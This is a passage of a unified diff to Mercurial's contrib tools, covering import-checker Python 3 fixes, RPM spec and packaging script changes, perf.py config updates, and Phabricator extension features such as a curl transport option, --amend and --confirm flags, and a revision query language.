     stdlib_prefixes = {sys.prefix, sys.exec_prefix}
     # We need to supplement the list of prefixes for the search to work
     # when run from within a virtualenv.
-    for mod in (BaseHTTPServer, zlib):
+    for mod in (basehttpserver, zlib):
+        if mod is None:
+            continue
         try:
             # Not all module objects have a __file__ attribute.
             filename = mod.__file__
@@ -396,10 +413,13 @@
       assign the symbol to a module-level variable. In addition, these imports
       must be performed before other local imports. This rule only
       applies to import statements outside of any blocks.
-    * Relative imports from the standard library are not allowed.
+    * Relative imports from the standard library are not allowed, unless that
+      library is also a local module.
     * Certain modules must be aliased to alternate names to avoid aliasing
       and readability problems. See `requirealias`.
     """
+    if not isinstance(module, str):
+        module = module.decode('ascii')
     topmodule = module.split('.')[0]
     fromlocal = fromlocalfunc(module, localmods)
 
@@ -476,7 +496,10 @@
             # __future__ is special since it needs to come first and use
             # symbol import.
             if fullname != '__future__':
-                if not fullname or fullname in stdlib_modules:
+                if not fullname or (
+                    fullname in stdlib_modules
+                    and fullname not in localmods
+                    and fullname + '.__init__' not in localmods):
                     yield msg('relative import of stdlib module')
                 else:
                     seenlocal = fullname
@@ -610,22 +633,26 @@
 def embedded(f, modname, src):
     """Extract embedded python code
 
+    >>> def _forcestr(thing):
+    ...     if not isinstance(thing, str):
+    ...         return thing.decode('ascii')
+    ...     return thing
     >>> def test(fn, lines):
-    ...     for s, m, f, l in embedded(fn, "example", lines):
-    ...         print("%s %s %s" % (m, f, l))
-    ...         print(repr(s))
+    ...     for s, m, f, l in embedded(fn, b"example", lines):
+    ...         print("%s %s %d" % (_forcestr(m), _forcestr(f), l))
+    ...         print(repr(_forcestr(s)))
     >>> lines = [
-    ...   'comment',
-    ...   '  >>> from __future__ import print_function',
-    ...   "  >>> ' multiline",
-    ...   "  ... string'",
-    ...   '  ',
-    ...   'comment',
-    ...   '  $ cat > foo.py <<EOF',
-    ...   '  > from __future__ import print_function',
-    ...   '  > EOF',
+    ...   b'comment',
+    ...   b'  >>> from __future__ import print_function',
+    ...   b"  >>> ' multiline",
+    ...   b"  ... string'",
+    ...   b'  ',
+    ...   b'comment',
+    ...   b'  $ cat > foo.py <<EOF',
+    ...   b'  > from __future__ import print_function',
+    ...   b'  > EOF',
     ... ]
-    >>> test("example.t", lines)
+    >>> test(b"example.t", lines)
     example[2] doctest.py 2
     "from __future__ import print_function\\n' multiline\\nstring'\\n"
     example[7] foo.py 7
@@ -647,16 +674,16 @@
             if not inlinepython:
                 # We've just entered a Python block.
                 inlinepython = n
-                t = 'doctest.py'
+                t = b'doctest.py'
             script.append(l[prefix:])
             continue
         if l.startswith(b'  ... '): # python inlines
             script.append(l[prefix:])
             continue
-        cat = re.search(r"\$ \s*cat\s*>\s*(\S+\.py)\s*<<\s*EOF", l)
+        cat = re.search(br"\$ \s*cat\s*>\s*(\S+\.py)\s*<<\s*EOF", l)
         if cat:
             if inlinepython:
-                yield ''.join(script), ("%s[%d]" %
+                yield b''.join(script), (b"%s[%d]" %
                        (modname, inlinepython)), t, inlinepython
                 script = []
                 inlinepython = 0
@@ -665,15 +692,18 @@
             continue
         if shpython and l.startswith(b'  > '): # sh continuation
             if l == b'  > EOF\n':
-                yield ''.join(script), ("%s[%d]" %
+                yield b''.join(script), (b"%s[%d]" %
                        (modname, shpython)), t, shpython
                 script = []
                 shpython = 0
             else:
                 script.append(l[4:])
             continue
-        if inlinepython and l == b'  \n':
-            yield ''.join(script), ("%s[%d]" %
+        # If we have an empty line or a command for sh, we end the
+        # inline script.
+        if inlinepython and (l == b'  \n'
+                             or l.startswith(b'  $ ')):
+            yield b''.join(script), (b"%s[%d]" %
                    (modname, inlinepython)), t, inlinepython
             script = []
             inlinepython = 0
@@ -691,11 +721,11 @@
     """
     py = False
     if not f.endswith('.t'):
-        with open(f) as src:
+        with open(f, 'rb') as src:
             yield src.read(), modname, f, 0
             py = True
     if py or f.endswith('.t'):
-        with open(f) as src:
+        with open(f, 'rb') as src:
             for script, modname, t, line in embedded(f, modname, src):
                 yield script, modname, t, line
 
@@ -714,6 +744,9 @@
         localmodpaths[modname] = source_path
     localmods = populateextmods(localmodpaths)
     for localmodname, source_path in sorted(localmodpaths.items()):
+        if not isinstance(localmodname, bytes):
+            # This is only safe because all hg's files are ascii
+            localmodname = localmodname.encode('ascii')
         for src, modname, name, line in sources(source_path, localmodname):
             try:
                 used_imports[modname] = sorted(
diff --git a/contrib/mercurial.spec b/contrib/mercurial.spec
--- a/contrib/mercurial.spec
+++ b/contrib/mercurial.spec
@@ -83,6 +83,7 @@
 %endif
 
 make all
+make -C contrib/chg
 
 %install
 rm -rf $RPM_BUILD_ROOT
@@ -111,6 +112,7 @@
 
 %endif
 
+install -m 755 contrib/chg/chg $RPM_BUILD_ROOT%{_bindir}/
 install -m 755 contrib/hgk $RPM_BUILD_ROOT%{_bindir}/
 install -m 755 contrib/hg-ssh $RPM_BUILD_ROOT%{_bindir}/
 
@@ -143,6 +145,7 @@
 %{_datadir}/emacs/site-lisp/mercurial.el
 %{_datadir}/emacs/site-lisp/mq.el
 %{_bindir}/hg
+%{_bindir}/chg
 %{_bindir}/hgk
 %{_bindir}/hg-ssh
 %dir %{_sysconfdir}/bash_completion.d/
diff --git a/contrib/packagelib.sh b/contrib/packagelib.sh
--- a/contrib/packagelib.sh
+++ b/contrib/packagelib.sh
@@ -8,13 +8,16 @@
 #
 # node: the node|short hg was built from, or empty if built from a tag
 gethgversion() {
+    export HGRCPATH=
+    export HGPLAIN=
+
     make cleanbutpackages
-    make local || make local PURE=--pure
+    make local PURE=--pure
     HG="$PWD/hg"
 
-    $HG version > /dev/null || { echo 'abort: hg version failed!'; exit 1 ; }
+    "$HG" version > /dev/null || { echo 'abort: hg version failed!'; exit 1 ; }
 
-    hgversion=`LANGUAGE=C $HG version | sed -ne 's/.*(version \(.*\))$/\1/p'`
+    hgversion=`LANGUAGE=C "$HG" version | sed -ne 's/.*(version \(.*\))$/\1/p'`
 
     if echo $hgversion | grep + > /dev/null 2>&1 ; then
         tmp=`echo $hgversion | cut -d+ -f 2`
diff --git a/contrib/perf.py b/contrib/perf.py
--- a/contrib/perf.py
+++ b/contrib/perf.py
@@ -139,8 +139,25 @@
             return func
         return decorator
 
+try:
+    import mercurial.registrar
+    import mercurial.configitems
+    configtable = {}
+    configitem = mercurial.registrar.configitem(configtable)
+    configitem('perf', 'presleep',
+        default=mercurial.configitems.dynamicdefault,
+    )
+    configitem('perf', 'stub',
+        default=mercurial.configitems.dynamicdefault,
+    )
+    configitem('perf', 'parentscount',
+        default=mercurial.configitems.dynamicdefault,
+    )
+except (ImportError, AttributeError):
+    pass
+
 def getlen(ui):
-    if ui.configbool("perf", "stub"):
+    if ui.configbool("perf", "stub", False):
         return lambda x: 1
     return len
 
@@ -203,7 +220,7 @@
 
     # stub function, runs code only once instead of in a loop
     # experimental config: perf.stub
-    if ui.configbool("perf", "stub"):
+    if ui.configbool("perf", "stub", False):
         return functools.partial(stub_timer, fm), fm
     return functools.partial(_timer, fm), fm
 
@@ -370,15 +387,9 @@
 @command('perfwalk', formatteropts)
 def perfwalk(ui, repo, *pats, **opts):
     timer, fm = gettimer(ui, opts)
-    try:
-        m = scmutil.match(repo[None], pats, {})
-        timer(lambda: len(list(repo.dirstate.walk(m, [], True, False))))
-    except Exception:
-        try:
-            m = scmutil.match(repo[None], pats, {})
-            timer(lambda: len([b for a, b, c in repo.dirstate.statwalk([], m)]))
-        except Exception:
-            timer(lambda: len(list(cmdutil.walk(repo, pats, {}))))
+    m = scmutil.match(repo[None], pats, {})
+    timer(lambda: len(list(repo.dirstate.walk(m, subrepos=[], unknown=True,
+                                              ignored=False))))
     fm.end()
 
 @command('perfannotate', formatteropts)
@@ -515,7 +526,7 @@
     'a' in dirstate
     def d():
         dirstate.dirs()
-        del dirstate._dirs
+        del dirstate._map.dirs
     timer(d)
     fm.end()
 
@@ -534,8 +545,8 @@
     timer, fm = gettimer(ui, opts)
     "a" in repo.dirstate
     def d():
-        "a" in repo.dirstate._dirs
-        del repo.dirstate._dirs
+        "a" in repo.dirstate._map.dirs
+        del repo.dirstate._map.dirs
     timer(d)
     fm.end()
 
@@ -545,8 +556,8 @@
     dirstate = repo.dirstate
     'a' in dirstate
     def d():
-        dirstate._filefoldmap.get('a')
-        del dirstate._filefoldmap
+        dirstate._map.filefoldmap.get('a')
+        del dirstate._map.filefoldmap
     timer(d)
     fm.end()
 
@@ -556,9 +567,9 @@
     dirstate = repo.dirstate
     'a' in dirstate
     def d():
-        dirstate._dirfoldmap.get('a')
-        del dirstate._dirfoldmap
-        del dirstate._dirs
+        dirstate._map.dirfoldmap.get('a')
+        del dirstate._map.dirfoldmap
+        del dirstate._map.dirs
     timer(d)
     fm.end()
 
diff --git a/contrib/phabricator.py b/contrib/phabricator.py
--- a/contrib/phabricator.py
+++ b/contrib/phabricator.py
@@ -7,9 +7,9 @@
 """simple Phabricator integration
 
 This extension provides a ``phabsend`` command which sends a stack of
-changesets to Phabricator without amending commit messages, and a ``phabread``
-command which prints a stack of revisions in a format suitable
-for :hg:`import`.
+changesets to Phabricator, and a ``phabread`` command which prints a stack of
+revisions in a format suitable for :hg:`import`, and a ``phabupdate`` command
+to update statuses in batch.
 
 By default, Phabricator requires ``Test Plan`` which might prevent some
 changeset from being sent. The requirement could be disabled by changing
@@ -28,23 +28,34 @@
     # callsign is "FOO".
     callsign = FOO
 
+    # curl command to use. If not set (default), use builtin HTTP library to
+    # communicate. If set, use the specified curl command. This could be useful
+    # if you need to specify advanced options that is not easily supported by
+    # the internal library.
+    curlcmd = curl --connect-timeout 2 --retry 3 --silent
 """
 
 from __future__ import absolute_import
 
+import itertools
 import json
+import operator
 import re
 
 from mercurial.node import bin, nullid
 from mercurial.i18n import _
 from mercurial import (
+    cmdutil,
+    context,
     encoding,
     error,
     mdiff,
-    obsolete,
+    obsutil,
+    parser,
     patch,
     registrar,
     scmutil,
+    smartset,
     tags,
     url as urlmod,
     util,
@@ -53,6 +64,15 @@
 cmdtable = {}
 command = registrar.command(cmdtable)
 
+colortable = {
+    'phabricator.action.created': 'green',
+    'phabricator.action.skipped': 'magenta',
+    'phabricator.action.updated': 'magenta',
+    'phabricator.desc': '',
+    'phabricator.drev': 'bold',
+    'phabricator.node': '',
+}
+
 def urlencodenested(params):
     """like urlencode, but works with nested parameters.
 
@@ -93,12 +113,20 @@
     """call Conduit API, params is a dict. return json.loads result, or None"""
     host, token = readurltoken(repo)
     url, authinfo = util.url('/'.join([host, 'api', name])).authinfo()
-    urlopener = urlmod.opener(repo.ui, authinfo)
     repo.ui.debug('Conduit Call: %s %s\n' % (url, params))
     params = params.copy()
     params['api.token'] = token
-    request = util.urlreq.request(url, data=urlencodenested(params))
-    body = urlopener.open(request).read()
+    data = urlencodenested(params)
+    curlcmd = repo.ui.config('phabricator', 'curlcmd')
+    if curlcmd:
+        sin, sout = util.popen2('%s -d @- %s' % (curlcmd, util.shellquote(url)))
+        sin.write(data)
+        sin.close()
+        body = sout.read()
+    else:
+        urlopener = urlmod.opener(repo.ui, authinfo)
+        request = util.urlreq.request(url, data=data)
+        body = urlopener.open(request).read()
     repo.ui.debug('Conduit Response: %s\n' % body)
     parsed = json.loads(body)
     if parsed.get(r'error_code'):
@@ -138,70 +166,84 @@
 
 _differentialrevisiontagre = re.compile('\AD([1-9][0-9]*)\Z')
 _differentialrevisiondescre = re.compile(
-    '^Differential Revision:\s*(.*)D([1-9][0-9]*)$', re.M)
+    '^Differential Revision:\s*(?:.*)D([1-9][0-9]*)$', re.M)
 
 def getoldnodedrevmap(repo, nodelist):
     """find previous nodes that has been sent to Phabricator
 
-    return {node: (oldnode or None, Differential Revision ID)}
+    return {node: (oldnode, Differential diff, Differential Revision ID)}
     for node in nodelist with known previous sent versions, or associated
-    Differential Revision IDs.
+    Differential Revision IDs. ``oldnode`` and ``Differential diff`` could
+    be ``None``.
 
-    Examines all precursors and their tags. Tags with format like "D1234" are
-    considered a match and the node with that tag, and the number after "D"
-    (ex. 1234) will be returned.
+    Examines commit messages like "Differential Revision:" to get the
+    association information.
 
-    If tags are not found, examine commit message. The "Differential Revision:"
-    line could associate this changeset to a Differential Revision.
+    If such commit message line is not found, examines all precursors and their
+    tags. Tags with format like "D1234" are considered a match and the node
+    with that tag, and the number after "D" (ex. 1234) will be returned.
+
+    The ``old node``, if not None, is guaranteed to be the last diff of
+    corresponding Differential Revision, and exist in the repo.
     """
     url, token = readurltoken(repo)
     unfi = repo.unfiltered()
     nodemap = unfi.changelog.nodemap
 
-    result = {} # {node: (oldnode or None, drev)}
-    toconfirm = {} # {node: (oldnode, {precnode}, drev)}
+    result = {} # {node: (oldnode?, lastdiff?, drev)}
+    toconfirm = {} # {node: (force, {precnode}, drev)}
     for node in nodelist:
         ctx = unfi[node]
         # For tags like "D123", put them into "toconfirm" to verify later
-        precnodes = list(obsolete.allprecursors(unfi.obsstore, [node]))
+        precnodes = list(obsutil.allpredecessors(unfi.obsstore, [node]))
         for n in precnodes:
             if n in nodemap:
                 for tag in unfi.nodetags(n):
                     m = _differentialrevisiontagre.match(tag)
                     if m:
-                        toconfirm[node] = (n, set(precnodes), int(m.group(1)))
+                        toconfirm[node] = (0, set(precnodes), int(m.group(1)))
                         continue
 
-        # Check commit message (make sure URL matches)
+        # Check commit message
         m = _differentialrevisiondescre.search(ctx.description())
         if m:
-            if m.group(1).rstrip('/') == url.rstrip('/'):
-                result[node] = (None, int(m.group(2)))
-            else:
-                unfi.ui.warn(_('%s: Differential Revision URL ignored - host '
-                               'does not match config\n') % ctx)
+            toconfirm[node] = (1, set(precnodes), int(m.group(1)))
 
     # Double check if tags are genuine by collecting all old nodes from
     # Phabricator, and expect precursors overlap with it.
     if toconfirm:
-        confirmed = {} # {drev: {oldnode}}
-        drevs = [drev for n, precs, drev in toconfirm.values()]
-        diffs = callconduit(unfi, 'differential.querydiffs',
-                            {'revisionIDs': drevs})
-        for diff in diffs.values():
-            drev = int(diff[r'revisionID'])
-            oldnode = bin(encoding.unitolocal(getdiffmeta(diff).get(r'node')))
-            if node:
-                confirmed.setdefault(drev, set()).add(oldnode)
-        for newnode, (oldnode, precset, drev) in toconfirm.items():
-            if bool(precset & confirmed.get(drev, set())):
-                result[newnode] = (oldnode, drev)
-            else:
+        drevs = [drev for force, precs, drev in toconfirm.values()]
+        alldiffs = callconduit(unfi, 'differential.querydiffs',
+                               {'revisionIDs': drevs})
+        getnode = lambda d: bin(encoding.unitolocal(
+            getdiffmeta(d).get(r'node', ''))) or None
+        for newnode, (force, precset, drev) in toconfirm.items():
+            diffs = [d for d in alldiffs.values()
+                     if int(d[r'revisionID']) == drev]
+
+            # "precursors" as known by Phabricator
+            phprecset = set(getnode(d) for d in diffs)
+
+            # Ignore if precursors (Phabricator and local repo) do not overlap,
+            # and force is not set (when commit message says nothing)
+            if not force and not bool(phprecset & precset):
                 tagname = 'D%d' % drev
                 tags.tag(repo, tagname, nullid, message=None, user=None,
                          date=None, local=True)
                 unfi.ui.warn(_('D%s: local tag removed - does not match '
                                'Differential history\n') % drev)
+                continue
+
+            # Find the last node using Phabricator metadata, and make sure it
+            # exists in the repo
+            oldnode = lastdiff = None
+            if diffs:
+                lastdiff = max(diffs, key=lambda d: int(d[r'id']))
+                oldnode = getnode(lastdiff)
+                if oldnode and oldnode not in nodemap:
+                    oldnode = None
+
+            result[newnode] = (oldnode, lastdiff, drev)
 
     return result
 
@@ -241,7 +283,7 @@
     callconduit(ctx.repo(), 'differential.setdiffproperty', params)
 
 def createdifferentialrevision(ctx, revid=None, parentrevid=None, oldnode=None,
-                               actions=None):
+                               olddiff=None, actions=None):
     """create or update a Differential Revision
 
     If revid is None, create a new Differential Revision, otherwise update
@@ -254,7 +296,7 @@
     """
     repo = ctx.repo()
     if oldnode:
-        diffopts = mdiff.diffopts(git=True, context=1)
+        diffopts = mdiff.diffopts(git=True, context=32767)
         oldctx = repo.unfiltered()[oldnode]
         neednewdiff = (getdiff(ctx, diffopts) != getdiff(oldctx, diffopts))
     else:
@@ -263,8 +305,14 @@
     transactions = []
     if neednewdiff:
         diff = creatediff(ctx)
-        writediffproperties(ctx, diff)
         transactions.append({'type': 'update', 'value': diff[r'phid']})
+    else:
+        # Even if we don't need to upload a new diff because the patch content
+        # does not change. We might still need to update its metadata so
+        # pushers could know the correct node metadata.
+        assert olddiff
+        diff = olddiff
+    writediffproperties(ctx, diff)
 
     # Use a temporary summary to set dependency. There might be better ways but
     # I cannot find them for now. But do not do that if we are updating an
@@ -295,7 +343,7 @@
     if not revision:
         raise error.Abort(_('cannot create revision for %s') % ctx)
 
-    return revision
+    return revision, diff
 
 def userphids(repo, names):
     """convert user names to PHIDs"""
@@ -313,7 +361,9 @@
 
 @command('phabsend',
          [('r', 'rev', [], _('revisions to send'), _('REV')),
-          ('', 'reviewer', [], _('specify reviewers'))],
+          ('', 'amend', True, _('update commit messages')),
+          ('', 'reviewer', [], _('specify reviewers')),
+          ('', 'confirm', None, _('ask for confirmation before sending'))],
          _('REV [OPTIONS]'))
 def phabsend(ui, repo, *revs, **opts):
     """upload changesets to Phabricator
@@ -326,12 +376,39 @@
     maintain the association. After the first time, phabsend will check
     obsstore and tags information so it can figure out whether to update an
     existing Differential Revision, or create a new one.
+
+    If --amend is set, update commit messages so they have the
+    ``Differential Revision`` URL, remove related tags. This is similar to what
+    arcanist will do, and is more desired in author-push workflows. Otherwise,
+    use local tags to record the ``Differential Revision`` association.
+
+    The --confirm option lets you confirm changesets before sending them. You
+    can also add following to your configuration file to make it default
+    behaviour::
+
+        [phabsend]
+        confirm = true
+
+    phabsend will check obsstore and the above association to decide whether to
+    update an existing Differential Revision, or create a new one.
     """
     revs = list(revs) + opts.get('rev', [])
     revs = scmutil.revrange(repo, revs)
 
     if not revs:
         raise error.Abort(_('phabsend requires at least one changeset'))
+    if opts.get('amend'):
+        cmdutil.checkunfinished(repo)
+
+    # {newnode: (oldnode, olddiff, olddrev}
+    oldmap = getoldnodedrevmap(repo, [repo[r].node() for r in revs])
+
+    confirm = ui.configbool('phabsend', 'confirm')
+    confirm |= bool(opts.get('confirm'))
+    if confirm:
+        confirmed = _confirmbeforesend(repo, revs, oldmap)
+        if not confirmed:
+            raise error.Abort(_('phabsend cancelled'))
 
     actions = []
     reviewers = opts.get('reviewer', [])
@@ -339,7 +416,8 @@
         phids = userphids(repo, reviewers)
         actions.append({'type': 'reviewers.add', 'value': phids})
 
-    oldnodedrev = getoldnodedrevmap(repo, [repo[r].node() for r in revs])
+    drevids = [] # [int]
+    diffmap = {} # {newnode: diff}
 
     # Send patches one by one so we know their Differential Revision IDs and
     # can provide dependency relationship
@@ -349,41 +427,183 @@
         ctx = repo[rev]
 
         # Get Differential Revision ID
-        oldnode, revid = oldnodedrev.get(ctx.node(), (None, None))
-        if oldnode != ctx.node():
+        oldnode, olddiff, revid = oldmap.get(ctx.node(), (None, None, None))
+        if oldnode != ctx.node() or opts.get('amend'):
             # Create or update Differential Revision
-            revision = createdifferentialrevision(ctx, revid, lastrevid,
-                                                  oldnode, actions)
+            revision, diff = createdifferentialrevision(
+                ctx, revid, lastrevid, oldnode, olddiff, actions)
+            diffmap[ctx.node()] = diff
             newrevid = int(revision[r'object'][r'id'])
             if revid:
-                action = _('updated')
+                action = 'updated'
             else:
-                action = _('created')
+                action = 'created'
 
-            # Create a local tag to note the association
-            tagname = 'D%d' % newrevid
-            tags.tag(repo, tagname, ctx.node(), message=None, user=None,
-                     date=None, local=True)
+            # Create a local tag to note the association, if commit message
+            # does not have it already
+            m = _differentialrevisiondescre.search(ctx.description())
+            if not m or int(m.group(1)) != newrevid:
+                tagname = 'D%d' % newrevid
+                tags.tag(repo, tagname, ctx.node(), message=None, user=None,
+                         date=None, local=True)
         else:
             # Nothing changed. But still set "newrevid" so the next revision
             # could depend on this one.
             newrevid = revid
-            action = _('skipped')
+            action = 'skipped'
+
+        actiondesc = ui.label(
+            {'created': _('created'),
+             'skipped': _('skipped'),
+             'updated': _('updated')}[action],
+            'phabricator.action.%s' % action)
+        drevdesc = ui.label('D%s' % newrevid, 'phabricator.drev')
+        nodedesc = ui.label(bytes(ctx), 'phabricator.node')
+        desc = ui.label(ctx.description().split('\n')[0], 'phabricator.desc')
+        ui.write(_('%s - %s - %s: %s\n') % (drevdesc, actiondesc, nodedesc,
+                                            desc))
+        drevids.append(newrevid)
+        lastrevid = newrevid
 
-        ui.write(_('D%s: %s - %s: %s\n') % (newrevid, action, ctx,
-                                            ctx.description().split('\n')[0]))
-        lastrevid = newrevid
+    # Update commit messages and remove tags
+    if opts.get('amend'):
+        unfi = repo.unfiltered()
+        drevs = callconduit(repo, 'differential.query', {'ids': drevids})
+        with repo.wlock(), repo.lock(), repo.transaction('phabsend'):
+            wnode = unfi['.'].node()
+            mapping = {} # {oldnode: [newnode]}
+            for i, rev in enumerate(revs):
+                old = unfi[rev]
+                drevid = drevids[i]
+                drev = [d for d in drevs if int(d[r'id']) == drevid][0]
+                newdesc = getdescfromdrev(drev)
+                # Make sure commit message contain "Differential Revision"
+                if old.description() != newdesc:
+                    parents = [
+                        mapping.get(old.p1().node(), (old.p1(),))[0],
+                        mapping.get(old.p2().node(), (old.p2(),))[0],
+                    ]
+                    new = context.metadataonlyctx(
+                        repo, old, parents=parents, text=newdesc,
+                        user=old.user(), date=old.date(), extra=old.extra())
+                    newnode = new.commit()
+                    mapping[old.node()] = [newnode]
+                    # Update diff property
+                    writediffproperties(unfi[newnode], diffmap[old.node()])
+                # Remove local tags since it's no longer necessary
+                tagname = 'D%d' % drevid
+                if tagname in repo.tags():
+                    tags.tag(repo, tagname, nullid, message=None, user=None,
+                             date=None, local=True)
+            scmutil.cleanupnodes(repo, mapping, 'phabsend')
+            if wnode in mapping:
+                unfi.setparents(mapping[wnode][0])
 
 # Map from "hg:meta" keys to header understood by "hg import". The order is
 # consistent with "hg export" output.
 _metanamemap = util.sortdict([(r'user', 'User'), (r'date', 'Date'),
                               (r'node', 'Node ID'), (r'parent', 'Parent ')])
 
-def querydrev(repo, params, stack=False):
+def _confirmbeforesend(repo, revs, oldmap):
+    url, token = readurltoken(repo)
+    ui = repo.ui
+    for rev in revs:
+        ctx = repo[rev]
+        desc = ctx.description().splitlines()[0]
+        oldnode, olddiff, drevid = oldmap.get(ctx.node(), (None, None, None))
+        if drevid:
+            drevdesc = ui.label('D%s' % drevid, 'phabricator.drev')
+        else:
+            drevdesc = ui.label(_('NEW'), 'phabricator.drev')
+
+        ui.write(_('%s - %s: %s\n') % (drevdesc,
+                                       ui.label(bytes(ctx), 'phabricator.node'),
+                                       ui.label(desc, 'phabricator.desc')))
+
+    if ui.promptchoice(_('Send the above changes to %s (yn)?'
+                         '$$ &Yes $$ &No') % url):
+        return False
+
+    return True
+
+_knownstatusnames = {'accepted', 'needsreview', 'needsrevision', 'closed',
+                     'abandoned'}
+
+def _getstatusname(drev):
+    """get normalized status name from a Differential Revision"""
+    return drev[r'statusName'].replace(' ', '').lower()
+
+# Small language to specify differential revisions. Support symbols: (), :X,
+# +, and -.
+
+_elements = {
+    # token-type: binding-strength, primary, prefix, infix, suffix
+    '(':      (12, None, ('group', 1, ')'), None, None),
+    ':':      (8, None, ('ancestors', 8), None, None),
+    '&':      (5,  None, None, ('and_', 5), None),
+    '+':      (4,  None, None, ('add', 4), None),
+    '-':      (4,  None, None, ('sub', 4), None),
+    ')':      (0,  None, None, None, None),
+    'symbol': (0, 'symbol', None, None, None),
+    'end':    (0, None, None, None, None),
+}
+
+def _tokenize(text):
+    view = memoryview(text) # zero-copy slice
+    special = '():+-& '
+    pos = 0
+    length = len(text)
+    while pos < length:
+        symbol = ''.join(itertools.takewhile(lambda ch: ch not in special,
+                                             view[pos:]))
+        if symbol:
+            yield ('symbol', symbol, pos)
+            pos += len(symbol)
+        else: # special char, ignore space
+            if text[pos] != ' ':
+                yield (text[pos], None, pos)
+            pos += 1
+    yield ('end', None, pos)
+
+def _parse(text):
+    tree, pos = parser.parser(_elements).parse(_tokenize(text))
+    if pos != len(text):
+        raise error.ParseError('invalid token', pos)
+    return tree
+
+def _parsedrev(symbol):
+    """str -> int or None, ex. 'D45' -> 45; '12' -> 12; 'x' -> None"""
+    if symbol.startswith('D') and symbol[1:].isdigit():
+        return int(symbol[1:])
+    if symbol.isdigit():
+        return int(symbol)
+
+def _prefetchdrevs(tree):
+    """return ({single-drev-id}, {ancestor-drev-id}) to prefetch"""
+    drevs = set()
+    ancestordrevs = set()
+    op = tree[0]
+    if op == 'symbol':
+        r = _parsedrev(tree[1])
+        if r:
+            drevs.add(r)
+    elif op == 'ancestors':
+        r, a = _prefetchdrevs(tree[1])
+        drevs.update(r)
+        ancestordrevs.update(r)
+        ancestordrevs.update(a)
+    else:
+        for t in tree[1:]:
+            r, a = _prefetchdrevs(t)
+            drevs.update(r)
+            ancestordrevs.update(a)
+    return drevs, ancestordrevs
+
+def querydrev(repo, spec):
     """return a list of "Differential Revision" dicts
 
-    params is the input of "differential.query" API, and is expected to match
-    just a single Differential Revision.
+    spec is a string using a simple query language, see docstring in phabread
+    for details.
 
     A "Differential Revision dict" looks like:
 
@@ -420,26 +640,13 @@
             "repositoryPHID": "PHID-REPO-hub2hx62ieuqeheznasv",
             "sourcePath": null
         }
-
-    If stack is True, return a list of "Differential Revision dict"s in an
-    order that the latter ones depend on the former ones. Otherwise, return a
-    list of a unique "Differential Revision dict".
     """
-    prefetched = {} # {id or phid: drev}
     def fetch(params):
         """params -> single drev or None"""
         key = (params.get(r'ids') or params.get(r'phids') or [None])[0]
         if key in prefetched:
             return prefetched[key]
-        # Otherwise, send the request. If we're fetching a stack, be smarter
-        # and fetch more ids in one batch, even if it could be unnecessary.
-        batchparams = params
-        if stack and len(params.get(r'ids', [])) == 1:
-            i = int(params[r'ids'][0])
-            # developer config: phabricator.batchsize
-            batchsize = repo.ui.configint('phabricator', 'batchsize', 12)
-            batchparams = {'ids': range(max(1, i - batchsize), i + 1)}
-        drevs = callconduit(repo, 'differential.query', batchparams)
+        drevs = callconduit(repo, 'differential.query', params)
         # Fill prefetched with the result
         for drev in drevs:
             prefetched[drev[r'phid']] = drev
@@ -448,23 +655,66 @@
             raise error.Abort(_('cannot get Differential Revision %r') % params)
         return prefetched[key]
 
-    visited = set()
-    result = []
-    queue = [params]
-    while queue:
-        params = queue.pop()
-        drev = fetch(params)
-        if drev[r'id'] in visited:
-            continue
-        visited.add(drev[r'id'])
-        result.append(drev)
-        if stack:
+    def getstack(topdrevids):
+        """given a top, get a stack from the bottom, [id] -> [id]"""
+        visited = set()
+        result = []
+        queue = [{r'ids': [i]} for i in topdrevids]
+        while queue:
+            params = queue.pop()
+            drev = fetch(params)
+            if drev[r'id'] in visited:
+                continue
+            visited.add(drev[r'id'])
+            result.append(int(drev[r'id']))
             auxiliary = drev.get(r'auxiliary', {})
             depends = auxiliary.get(r'phabricator:depends-on', [])
             for phid in depends:
                 queue.append({'phids': [phid]})
-    result.reverse()
-    return result
+        result.reverse()
+        return smartset.baseset(result)
+
+    # Initialize prefetch cache
+    prefetched = {} # {id or phid: drev}
+
+    tree = _parse(spec)
+    drevs, ancestordrevs = _prefetchdrevs(tree)
+
+    # developer config: phabricator.batchsize
+    batchsize = repo.ui.configint('phabricator', 'batchsize', 12)
+
+    # Prefetch Differential Revisions in batch
+    tofetch = set(drevs)
+    for r in ancestordrevs:
+        tofetch.update(range(max(1, r - batchsize), r + 1))
+    if drevs:
+        fetch({r'ids': list(tofetch)})
+    validids = sorted(set(getstack(list(ancestordrevs))) | set(drevs))
+
+    # Walk through the tree, return smartsets
+    def walk(tree):
+        op = tree[0]
+        if op == 'symbol':
+            drev = _parsedrev(tree[1])
+            if drev:
+                return smartset.baseset([drev])
+            elif tree[1] in _knownstatusnames:
+                drevs = [r for r in validids
+                         if _getstatusname(prefetched[r]) == tree[1]]
+                return smartset.baseset(drevs)
+            else:
+                raise error.Abort(_('unknown symbol: %s') % tree[1])
+        elif op in {'and_', 'add', 'sub'}:
+            assert len(tree) == 3
+            return getattr(operator, op)(walk(tree[1]), walk(tree[2]))
+        elif op == 'group':
+            return walk(tree[1])
+        elif op == 'ancestors':
+            return getstack(walk(tree[1]))
+        else:
+            raise error.ProgrammingError('illegal tree: %r' % tree)
+
+    return [prefetched[r] for r in walk(tree)]
 
 def getdescfromdrev(drev):
     """get description (commit message) from "Differential Revision"
@@ -530,15 +780,12 @@
             meta[r'parent'] = commit[r'parents'][0]
     return meta or {}
 
-def readpatch(repo, params, write, stack=False):
+def readpatch(repo, drevs, write):
     """generate plain-text patch readable by 'hg import'
 
-    write is usually ui.write. params is passed to "differential.query". If
-    stack is True, also write dependent patches.
+    write is usually ui.write. drevs is what "querydrev" returns, results of
+    "differential.query".
     """
-    # Differential Revisions
-    drevs = querydrev(repo, params, stack)
-
     # Prefetch hg:meta property for all diffs
     diffids = sorted(set(max(int(v) for v in drev[r'diffs']) for drev in drevs))
     diffs = callconduit(repo, 'differential.querydiffs', {'ids': diffids})
@@ -565,17 +812,56 @@
 
 @command('phabread',
          [('', 'stack', False, _('read dependencies'))],
-         _('REVID [OPTIONS]'))
-def phabread(ui, repo, revid, **opts):
+         _('DREVSPEC [OPTIONS]'))
+def phabread(ui, repo, spec, **opts):
     """print patches from Phabricator suitable for importing
 
-    REVID could be a Differential Revision identity, like ``D123``, or just the
-    number ``123``, or a full URL like ``https://phab.example.com/D123``.
+    DREVSPEC could be a Differential Revision identity, like ``D123``, or just
+    the number ``123``. It could also have common operators like ``+``, ``-``,
+    ``&``, ``(``, ``)`` for complex queries. Prefix ``:`` could be used to
+    select a stack.
+
+    ``abandoned``, ``accepted``, ``closed``, ``needsreview``, ``needsrevision``
